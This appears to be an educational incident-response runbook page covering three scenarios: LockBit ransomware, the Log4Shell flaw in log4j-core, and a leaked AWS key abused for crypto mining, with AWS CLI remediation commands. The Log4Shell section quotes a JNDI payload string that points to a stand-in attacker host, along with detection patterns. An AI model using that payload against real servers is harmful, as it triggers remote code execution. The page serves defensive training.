Security engineering is put to the ultimate test during a live corporate emergency. When alarms sound and systems begin locking up, there is no time to consult theoretical textbooks. Security teams execute standardized Incident Runbooks. Below, we dissect three real-world cyber attack emergency scenarios step-by-step from initial alert to complete eradication.
The Situation: At 2:15 AM, multiple Windows servers report CPU spikes, files are being renamed with .lockbit extensions, and shared NAS directories are inaccessible.
The Situation: An unauthenticated remote code execution flaw is disclosed in the widely used Java logging library log4j-core. Any string formatted with ${jndi:ldap://attacker.com/a} triggers the server to connect outbound and execute arbitrary Java bytecode.
jndi:ldap, jndi:rmi, or nested obfuscated brackets.-Dlog4j2.formatMsgNoLookups=true or upgrade to Log4j 2.17.1+.The Situation: A junior developer accidentally commits an AWS Access Key ID and Secret Access Key to a public GitHub repository. Within 4 minutes, automated bots discover the key and spin up 50 high-end EC2 GPU cryptocurrency mining instances.
# Emergency AWS CLI Remediation Steps:
# 1. Immediately deactivate the compromised access key
aws iam update-access-key --access-key-id AKIAIOSFODNN7EXAMPLE --status Inactive --user-name developer_jane
# 2. Terminate all unauthorized EC2 instances launched by the attacker
aws ec2 terminate-instances --instance-ids i-0123456789abcdef0
# 3. Permanently delete the compromised key
aws iam delete-access-key --access-key-id AKIAIOSFODNN7EXAMPLE --user-name developer_jane
# 4. Audit CloudTrail logs for unauthorized S3 downloads or backdoor IAM users
aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIAIOSFODNN7EXAMPLE
Broaden your defensive and offensive security knowledge across our curriculum:
Formal NIST SP 800-61 framework underlying these incident remediation scenarios.
Analyzing real attack logs in SIEM dashboards to trigger automated containment.
Practice attack containment and remediation steps in an isolated lab environment.
Review common behavioral and situational interview questions based on incident runbooks.